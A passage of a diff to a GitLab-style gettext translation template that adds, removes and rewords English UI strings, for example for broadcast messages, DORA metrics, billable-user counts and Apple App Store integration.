-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
